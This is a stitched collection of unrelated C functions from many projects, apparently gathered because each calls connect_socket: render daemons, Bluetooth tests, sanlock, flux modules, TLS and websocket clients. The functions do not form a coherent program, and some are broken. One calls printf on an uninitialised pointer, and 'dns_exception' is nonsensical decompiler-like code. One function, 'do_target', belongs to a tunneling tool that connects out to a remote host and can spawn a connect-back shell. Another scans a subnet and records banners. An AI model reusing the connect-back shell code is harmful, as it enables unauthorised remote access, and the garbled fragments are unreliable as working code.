void *thread_main(void *arg)
{
int fd;
char * spath = (char *) arg;
char *tile;
fd = connect_socket(spath);
while((tile = fetch(spath, &fd))) {
int ret = process(fd, tile);
if (ret == 0) {
printf("Reconnecting closed socket\n");
close(fd);
fd = connect_socket(spath);
}
num_render++;
if (!(num_render % 10)) {
gettimeofday(&end, NULL);
printf("\n");
printf("Meta tiles rendered: ");
display_rate(start, end, num_render);
printf("Total tiles rendered: ");
display_rate(start, end, num_render * METATILE * METATILE);
printf("Number of Metatiles tested for expiry: ");
display_rate(start, end, num_all);
printf("\n");
}
free(tile);
}
close(fd);
return NULL;
}
static void test_connect_two_sockets(const void *test_data)
{
struct test_data *data = tester_get_data();
const struct l2cap_data *l2data = data->test_data;
const uint8_t *client_bdaddr;
test_two_sockets_connect_cb_cnt = 0;
test_scan_enable_counter = 0;
hciemu_add_master_post_command_hook(data->hciemu,
test_connect_two_sockets_router, data);
if (l2data->server_psm) {
struct bthost *bthost = hciemu_client_get_host(data->hciemu);
if (!l2data->data_len)
bthost_add_l2cap_server(bthost, l2data->server_psm,
NULL, NULL);
}
client_bdaddr = hciemu_get_client_bdaddr(data->hciemu);
if (l2data->close_one_socket)
connect_socket(client_bdaddr, &data->sk, NULL);
else
connect_socket(client_bdaddr, &data->sk,
test_two_sockets_connect_cb);
}
static IPC_SOCKET_TYPE connect_and_serve(const char *socket_path, const char* event_path, const char *exec_path)
{
IPC_SOCKET_TYPE sock = connect_socket(socket_path, 0);
if (sock == INVALID_HANDLE_VALUE)
{
start_server(socket_path, event_path, exec_path);
sock = connect_socket(socket_path, 1);
}
if (sock == INVALID_HANDLE_VALUE)
abort();
return sock;
}
int main(int argc, char **argv)
{
SOCKET sock = connect_socket(IP_ADDR, PORT);
BOOL must_continue = sock != INVALID_SOCKET;
char buf[MAXLINE];
char* prompt = "sldb> ";
while( must_continue ){
//snprintf(buf, MAXLINE, "?1 ? ?\r\n");
write(STDOUT_FILENO, prompt, strlen(prompt));
int n_readed = read(STDIN_FILENO, buf, MAXLINE);
must_continue &= !send_socket(sock, buf, n_readed);
while( must_continue ){
int len = read_line(sock, buf, MAXLINE);
BOOL is_empty_line = len == 0;
if( is_empty_line ){
break;
}
write(STDOUT_FILENO, buf, len);
printf("\r\n");
BOOL must_close = !strcmp(buf, "!close");
must_continue &= !must_close;
}
}
int iResult = close_socket(sock);
return iResult;
}
int websocket_connect(websocket_t *client, char *host, const char *port)
{
int r;
int tls_hs_retry = WEBSOCKET_MAX_TLS_HANDSHAKE;
TLS_HS_RETRY:
if ((r = connect_socket(client, host, port)) != WEBSOCKET_SUCCESS) {
return r;
}
if (websocket_config_socket(client->fd) != WEBSOCKET_SUCCESS) {
WEBSOCKET_CLOSE(client->fd);
return WEBSOCKET_SOCKET_ERROR;
}
if (client->tls_enabled) {
if ((r = websocket_tls_handshake(client, host, client->auth_mode)) != WEBSOCKET_SUCCESS) {
if (r == MBEDTLS_ERR_NET_SEND_FAILED || r == MBEDTLS_ERR_NET_RECV_FAILED || r == MBEDTLS_ERR_SSL_CONN_EOF) {
if (tls_hs_retry-- > 0) {
WEBSOCKET_DEBUG("Handshake again.... \n");
mbedtls_net_free(&(client->tls_net));
mbedtls_ssl_free(client->tls_ssl);
mbedtls_ssl_init(client->tls_ssl);
goto TLS_HS_RETRY;
}
}
return WEBSOCKET_TLS_HANDSHAKE_ERROR;
}
}
return r;
}
/* Select handler which is set for the socket descriptor when connect() has
* indicated (via errno) that it is in progress. On completion this handler gets
* called. */
static void
connected(struct socket *socket)
{
int err = 0;
struct connection_state state = connection_state(0);
socklen_t len = sizeof(err);
assertm(socket->connect_info != NULL, "Lost connect_info!");
if_assert_failed return;
if (getsockopt(socket->fd, SOL_SOCKET, SO_ERROR, (void *) &err, &len) == 0) {
/* Why does EMX return so large values? */
if (err >= 10000) err -= 10000;
if (err != 0)
state = connection_state_for_errno(err);
else
state = connection_state(0);
} else {
/* getsockopt() failed */
if (errno != 0)
state = connection_state_for_errno(errno);
else
state = connection_state(S_STATE);
}
if (!is_in_state(state, 0)) {
/* There are maybe still some more candidates. */
connect_socket(socket, state);
return;
}
complete_connect_socket(socket, NULL, NULL);
}
/* DNS callback. */
static void
dns_found(struct socket *socket, struct sockaddr_storage *addr, int addrlen)
{
struct connect_info *connect_info = socket->connect_info;
int size;
if (!addr) {
socket->ops->done(socket, connection_state(S_NO_DNS));
return;
}
assert(connect_info);
size = sizeof(*addr) * addrlen;
connect_info->addr = mem_alloc(size);
if (!connect_info->addr) {
socket->ops->done(socket, connection_state(S_OUT_OF_MEM));
return;
}
memcpy(connect_info->addr, addr, size);
connect_info->addrno = addrlen;
/* XXX: Passing non-result state here is bad but a lack of alternatives
* makes it so. Well adding get_state() socket operation could maybe fix
* it but the returned state would most likely be a non-result one at
* this point in the connection lifecycle. This will, however, only be a
* problem if connect_socket() fails without doing any system calls
* which is only the case when forcing the IP family. So it is better to
* handle it in connect_socket(). */
connect_socket(socket, connection_state(S_CONN));
}
int main(int argc, char** argv) {
if (argc < 3) {
printf("Usage: jattach <pid> <cmd> <args> ...\n");
return 1;
}
int pid = atoi(argv[1]);
if (!check_socket(pid) && !start_attach_mechanism(pid)) {
printf("Could not start attach mechanism\n");
return 1;
}
int fd = connect_socket(pid);
if (fd == -1) {
printf("Could not connect to socket\n");
return 1;
}
printf("Connected to remote JVM\n");
write_command(fd, argc - 2, argv + 2);
printf("Response code = ");
read_response(fd);
printf("\n");
close(fd);
return 0;
}
int main(int argc, char ** argv)
{
int sockfd=0;
char sendMsg[30]="abc.org/r/n/r";
char* res;
int port = 4242;
char ip[128] = {0};
strncpy(ip, "127.0.0.1", 128);
if(argc > 2)
{
strncpy(ip, argv[1], 128);
port = atoi(argv[2]);
printf("Input IP: %s, port : %d/n", ip, port);
}
else if(argc > 1)
{
port = atoi(argv[1]);
printf("Input port : %d/n", port);
}
sockfd=connect_socket(ip, port);
send_msg(sockfd,sendMsg);
/* res=recv_msg(sockfd); */
printf("return from recv function/n");
printf(res);
free(res);
close_socket(sockfd);
return 0;
}
int sanlock_read_lockspace(struct sanlk_lockspace *ls, uint32_t flags, uint32_t *io_timeout)
{
struct sm_header h;
int rv, fd;
if (!ls || !ls->host_id_disk.path[0])
return -EINVAL;
rv = connect_socket(&fd);
if (rv < 0)
return rv;
rv = send_header(fd, SM_CMD_READ_LOCKSPACE, flags,
sizeof(struct sanlk_lockspace),
0, 0);
if (rv < 0)
goto out;
rv = send_data(fd, ls, sizeof(struct sanlk_lockspace), 0);
if (rv < 0) {
rv = -errno;
goto out;
}
/* receive result, io_timeout and ls struct */
memset(&h, 0, sizeof(h));
rv = recv_data(fd, &h, sizeof(h), MSG_WAITALL);
if (rv < 0) {
rv = -errno;
goto out;
}
if (rv != sizeof(h)) {
rv = -1;
goto out;
}
rv = (int)h.data;
if (rv < 0)
goto out;
rv = recv_data(fd, ls, sizeof(struct sanlk_lockspace), MSG_WAITALL);
if (rv < 0) {
rv = -errno;
goto out;
}
if (rv != sizeof(struct sanlk_lockspace)) {
rv = -1;
goto out;
}
*io_timeout = h.data2;
rv = (int)h.data;
out:
close(fd);
return rv;
}
// Initialize resources for the node
void IPC_initialize_node(int _node_id)
{
node_id = _node_id;
if (node_id == 0)
{
sock = (typeof(sock)) malloc(sizeof(*sock) * nb_nodes);
if (!sock)
{
perror("sock allocation error");
exit(-1);
}
sock[0] = create_socket(PORT_CORE_0, nb_nodes);
for (int i = 1; i < nb_nodes; i++)
{
sock[i] = get_connection(sock[0]);
}
}
else
{
sock = (typeof(sock)) malloc(sizeof(*sock));
if (!sock)
{
perror("sock allocation error");
exit(-1);
}
sock[0] = create_socket(0, 0);
connect_socket(sock[0], PORT_CORE_0);
}
}
int sanlock_write_lockspace(struct sanlk_lockspace *ls, int max_hosts,
uint32_t flags, uint32_t io_timeout)
{
int rv, fd;
if (!ls || !ls->host_id_disk.path[0])
return -EINVAL;
rv = connect_socket(&fd);
if (rv < 0)
return rv;
rv = send_header(fd, SM_CMD_WRITE_LOCKSPACE, flags,
sizeof(struct sanlk_lockspace),
max_hosts, io_timeout);
if (rv < 0)
goto out;
rv = send_data(fd, ls, sizeof(struct sanlk_lockspace), 0);
if (rv < 0) {
rv = -errno;
goto out;
}
rv = recv_result(fd);
out:
close(fd);
return rv;
}
apisock *api_connect_ssl(){
apisock *ret;
SSL *ssl;
int sock;
sock=connect_socket(API_HOST, API_PORT_SSL);
if (sock==-1)
return NULL;
if (!globalctx){
SSL_library_init();
OpenSSL_add_all_algorithms();
OpenSSL_add_all_ciphers();
SSL_load_error_strings();
globalctx=SSL_CTX_new(SSLv23_method());
if (!globalctx)
return NULL;
}
ssl=SSL_new(globalctx);
if (!ssl){
close(sock);
return NULL;
}
SSL_set_fd(ssl, sock);
if (SSL_connect(ssl)!=1){
SSL_free(ssl);
close(sock);
return NULL;
}
ret=(apisock *)malloc(sizeof(apisock));
ret->sock=sock;
ret->ssl=ssl;
return ret;
}
void Socket::create_and_connect()
{
addrinfo* serverinfo;
int res;
if ((res = get_addr_info(&serverinfo)) != 0)
{
throw std::system_error(errno, std::system_category(),
REPORT_ERROR("getaddrinfo failure: " +
std::string(gai_strerror(res))));
}
try
{
create_socket(serverinfo);
connect_socket(serverinfo);
}
catch (std::system_error const& err)
{
freeaddrinfo(serverinfo);
close(sock);
throw err;
}
freeaddrinfo(serverinfo);
if (!server_info.password.empty())
send_to_socket("PASS " + server_info.password + "\r\n");
send_to_socket("NICK " + server_info.nick + "\r\n");
send_to_socket("USER " + server_info.user + "\r\n");
}
void *FUNC_THREAD(void *threadid)
{
FILE *dosya_yaz;
dosya_yaz = fopen("userlist.txt","a");
long tid;
tid = (long)threadid;
char str[20];
sprintf(str,"192.168.2.%ld",(tid+1));
int conn;
conn = connect_socket(10001,str);
char inbuffer[512];
if (conn != -1)
{
recv(conn,inbuffer,512,0);
fprintf(dosya_yaz,"%s %s\n",str,inbuffer);
}
close(conn);
fclose(dosya_yaz);
pthread_exit(NULL);
}
int main (int argc, char *argv[]) {
// Exit nicely
struct sigaction sigIntHandler;
sigIntHandler.sa_handler = my_handler;
sigemptyset(&sigIntHandler.sa_mask);
sigIntHandler.sa_flags = 0;
sigaction(SIGINT, &sigIntHandler, NULL);
// / Exit nicely
if( argc < 2 ){
printf("Usage: %s ServerAdresse\n", *argv);
exit(EXIT_FAILURE);
}
sock = create_socket(AF_INET6, SOCK_STREAM, 0);
atexit(cleanup);
connect_socket(&sock, argv[1], 15000);
pthread_t tw;
pthread_create(&tw,NULL,sender,NULL);
pthread_t tr;
pthread_create(&tr,NULL,listener,NULL);
pthread_join(tw,NULL);
pthread_join(tr,NULL);
return EXIT_SUCCESS;
}
int
send_request(Request req)
{
if (! req->socket ) {
req->socket = connect_socket(req->host,req->port,0);
if (! req->socket) {
error("Failed to connect to %s:%i\n",req->host,req->port);
return 0;
}
add_req_socket(req->socket->fd);
return 0;
}
if (req->length < 0) {
str cmd = _("%s %s HTTP/1.1\r\n",req->method,req->path);
write_socket(req->socket,cmd);
request_headers(req,_("Host"),req->host);
send_headers(req->socket,req->headers);
req->length = outbound_content_length(req->contents,req->raw_contents);
return req->contents != NULL || req->raw_contents != NULL ;
}
req->written += req->contents ?
send_contents(req->socket,req->contents,is_chunked(req->headers)) :
req->raw_contents ?
send_raw_contents(req->socket,req->raw_contents,req->written,0):
0;
if (is_chunked(req->headers) && req->written >= req->length)
write_chunk(req->socket,NULL,0);
return req->written < req->length;
}
int sanlock_request(uint32_t flags, uint32_t force_mode,
struct sanlk_resource *res)
{
int fd, rv, datalen;
datalen = sizeof(struct sanlk_resource) +
sizeof(struct sanlk_disk) * res->num_disks;
rv = connect_socket(&fd);
if (rv < 0)
return rv;
rv = send_header(fd, SM_CMD_REQUEST, flags, datalen, force_mode, 0);
if (rv < 0)
goto out;
rv = send(fd, res, sizeof(struct sanlk_resource), 0);
if (rv < 0) {
rv = -errno;
goto out;
}
rv = send(fd, res->disks, sizeof(struct sanlk_disk) * res->num_disks, 0);
if (rv < 0) {
rv = -errno;
goto out;
}
rv = recv_result(fd);
out:
close(fd);
return rv;
}
static int op_setopt (void *impl, const char *option,
const void *val, size_t size)
{
ctx_t *ctx = impl;
assert (ctx->magic == MODHANDLE_MAGIC);
size_t val_size;
int rc = -1;
if (option && !strcmp (option, FLUX_OPT_ZEROMQ_CONTEXT)) {
val_size = sizeof (ctx->zctx);
if (size != val_size) {
errno = EINVAL;
goto done;
}
memcpy (&ctx->zctx, &val, val_size);
if (connect_socket (ctx) < 0)
goto done;
} else {
errno = EINVAL;
goto done;
}
rc = 0;
done:
return rc;
}
/*
Fork lgmon's process - for LPR(ng) system
lm_main_lpr() : parent process.
data_output_process(): print data output process.
status_get_process() : print status read process.
*/
static void lm_main_fork_lpr()
{
char *nbuf;
if((stmon_pid = fork())){
int server_fd = 0;
int sm_sock_fd = 0;
/* create socket and connect LM<->SM */
if(connect_socket(&server_fd, &sm_sock_fd) < 0){
/* socket error */
if(server_fd > 0)
close(server_fd);
if(sm_sock_fd > 0)
close(sm_sock_fd);
kill(stmon_pid, SIGTERM);
goto lm_exit;
}
if((stat_pid = fork())){
if((data_pid = fork())){
/* LM main process */
/* exec lgmon main process */
lm_main_lpr(sm_sock_fd);
close(sm_sock_fd);
close(server_fd);
}
else
/* print data output process */
data_output_process(sm_sock_fd); /* never return */
}
else
/* printer status get process */
status_get_process(sm_sock_fd); /* never return */
}
else{
nbuf = (char *)malloc ((strlen (STMON_PATH)+strlen (PACKAGE)+2));
if (nbuf == NULL)
exit (0);
memset((void*)nbuf, 0, (strlen (STMON_PATH)+strlen (PACKAGE)+1));
strncpy(nbuf, STMON_PATH, strlen (STMON_PATH) );
strncat(nbuf, "/", strlen("/"));
strncat(nbuf, PACKAGE, strlen(PACKAGE));
/* status monitor process */
if(execv(nbuf, stamon_arg) < 0){
#ifdef DEBUG
write_log("SM execv error\n");
#endif
}
exit(0); /* never arrive this point */
}
lm_exit:
return;
}
static int open_socket(struct connection *conn, char *host)
{
char *port, *p;
if (proxy)
return connect_socket(conn, proxy, proxy_port);
p = strchr(host, ':');
if (p) {
/* port specified */
*p++ = '\0';
port = p;
} else
port = is_https(conn->url) ? "443" : "80";
return connect_socket(conn, host, port);
}
int main (int argc, char *argv[]) {
if (argc < 3) {
fprintf (stderr, "Usage: ./client ip_server port_server\n");
exit (EXIT_FAILURE);
}
connect_socket (argv[1], atoi (argv[2]));
return 0;
}
int main(int argc, char *argv[])
{
SSL_CTX *ctx;
const SSL_METHOD *method = SSLv3_client_method();
int client_fd;
char *host;
char *portnum;
int bench_send = 0;
int bench_recv = 0;
int i;
enum cipher_choice cipher_choice = CIPHER_ALL;
if (argc < 3) {
printf("Usage: %s <host_ip> <portnum> [opts]\n", argv[0]);
exit(-1);
}
host = argv[1];
portnum = argv[2];
lib_init();
for (i = 3; i < argc; i++) {
if (strcmp("tls-1.2", argv[i]) == 0) {
method = TLSv1_2_client_method();
} else if (strcmp("tls-1.1", argv[i]) == 0) {
method = TLSv1_1_client_method();
} else if (strcmp("tls-1.0", argv[i]) == 0) {
method = TLSv1_client_method();
} else if (strcmp("ssl-3.0", argv[i]) == 0) {
method = SSLv3_client_method();
} else if (strcmp("bench-send", argv[i]) == 0) {
bench_send = atoi(argv[++i]);
} else if (strcmp("bench-recv", argv[i]) == 0) {
bench_recv = atoi(argv[++i]);
} else {
printf("warning: unknown option: \"%s\"\n", argv[i]);
}
}
ctx = client_init(method, cipher_choice);
client_fd = connect_socket(host, atoi(portnum));
printf("[status] connected. handshaking\n");
SSL *ssl;
ssl = SSL_new(ctx);
SSL_set_fd(ssl, client_fd);
if (bench_send > 0 || bench_recv > 0)
benchmark(ssl, bench_send, bench_recv);
else
process(ssl);
close(client_fd);
SSL_CTX_free(ctx);
return 0;
}
void dns_exception( struct socket *socket )
{
if ( assert_failed == 0 )
assert_failed = 0;
else
assert_failed = 0;
connect_socket( socket, (long long)( eax ) );
return;
}
/***********************
* do_target()
*
* Connects to the consultant's machine on port 'tunnelPort'
* Once established, waits for an 'OK' that signifies the client has connected.
* Once received, connects locally to the port specified by 'servicePort'
* and shovels bits across the tunnel between the client program and the local service port.
*/
int do_target(const char *consultantHost, const char *targetHost, const int tunnelPort, const int servicePort) {
int tunnelSock, serviceSock;
char buf[BUF_SIZE];
// connect to the consultant's host
printf("Target: Establishing tunnel with remote host on %s:%d\n", consultantHost, tunnelPort);
if((tunnelSock = connect_socket(tunnelPort, consultantHost)) == -1)
return 1;
// send an ACK
if(send(tunnelSock, "OK", 2, 0) == -1) {
perror("ERROR: send()");
return 1;
}
printf("Target: Tunnel is up, waiting for client to connect on remote end...\n");
// wait for an ACK from the consultant before connecting to the local service
if(recv(tunnelSock, buf, 2, 0) == -1) {
perror("ERROR: recv()");
return 1;
}
if(buf[0] != 'O' || buf[1] != 'K') {
printf("ERROR: Failed to acknowledge tunnel\n");
return 1;
}
printf("Target: Client has connected on the remote end\n");
// spawn a connect-back shell if needed
if(pr00gie) {
doexec(tunnelSock);
return 1; // we only hit this on exec() throwing an error
}
// if we're not spawning a shell we must be building a tunnel. Let's do it!
// connect to local service
printf("Target: Connecting to local service port %d\n", servicePort);
if((serviceSock = connect_socket(servicePort, targetHost)) == -1)
return 1;
printf("Target: Connected to service port %s:%d\n", targetHost, servicePort);
printf("Target: Shovelling data across the tunnel...\n");
// shovel data between the client and the target
return shovel_data(tunnelSock, serviceSock);
}
apisock *api_connect(){
apisock *ret;
int sock;
sock=connect_socket(API_HOST, API_PORT);
if (sock==-1)
return NULL;
ret=(apisock *)malloc(sizeof(apisock));
ret->sock=sock;
ret->ssl=NULL;
return ret;
}
int connect_to_server() {
// The connection socket
int connection;
// Wait until the server created the socket
// client_once(WAIT);
connection = create_socket();
connect_socket(connection);
return connection;
}
int main(int argc, char* argv[]) {
int f;
if (argc < 2) {
fprintf(stderr, "Not enough arguments\n");
exit (EXIT_FAILURE);
}
f = connect_socket(atoi(argv[1]), "localhost");
close(f);
return 0;
}
static flux_msg_t *op_recv (void *impl, int flags)
{
ctx_t *ctx = impl;
assert (ctx->magic == MODHANDLE_MAGIC);
zmq_pollitem_t zp = {
.events = ZMQ_POLLIN, .socket = ctx->sock, .revents = 0, .fd = -1,
};
flux_msg_t *msg = NULL;
if (connect_socket (ctx) < 0)
goto done;
if ((flags & FLUX_O_NONBLOCK)) {
int n;
if ((n = zmq_poll (&zp, 1, 0L)) < 0)
goto done; /* likely: EWOULDBLOCK | EAGAIN */
assert (n == 1);
assert (zp.revents == ZMQ_POLLIN);
}
msg = zmsg_recv (ctx->sock);
done:
return msg;
}
static int op_event_subscribe (void *impl, const char *topic)
{
ctx_t *ctx = impl;
assert (ctx->magic == MODHANDLE_MAGIC);
JSON in = Jnew ();
int rc = -1;
if (connect_socket (ctx) < 0)
goto done;
Jadd_str (in, "topic", topic);
if (flux_json_rpc (ctx->h, FLUX_NODEID_ANY, "cmb.sub", in, NULL) < 0)
goto done;
rc = 0;
done:
Jput (in);
return rc;
}
static flux_msg_t *op_recv (void *impl, int flags)
{
ctx_t *ctx = impl;
assert (ctx->magic == MODHANDLE_MAGIC);
zmq_pollitem_t zp = {
.events = ZMQ_POLLIN, .socket = ctx->sock, .revents = 0, .fd = -1,
};
flux_msg_t *msg = NULL;
if (connect_socket (ctx) < 0)
goto done;
if ((flags & FLUX_O_NONBLOCK)) {
int n;
if ((n = zmq_poll (&zp, 1, 0L)) <= 0) {
if (n == 0)
errno = EWOULDBLOCK;
goto done;
}
}
msg = flux_msg_recvzsock (ctx->sock);
done:
return msg;
}
static int op_event_subscribe (void *impl, const char *topic)
{
ctx_t *ctx = impl;
assert (ctx->magic == MODHANDLE_MAGIC);
json_object *in = Jnew ();
flux_rpc_t *rpc = NULL;
int rc = -1;
if (connect_socket (ctx) < 0)
goto done;
Jadd_str (in, "topic", topic);
if (!(rpc = flux_rpc (ctx->h, "cmb.sub", Jtostr (in), FLUX_NODEID_ANY, 0))
|| flux_rpc_get (rpc, NULL) < 0)
goto done;
rc = 0;
done:
Jput (in);
flux_rpc_destroy (rpc);
return rc;
}
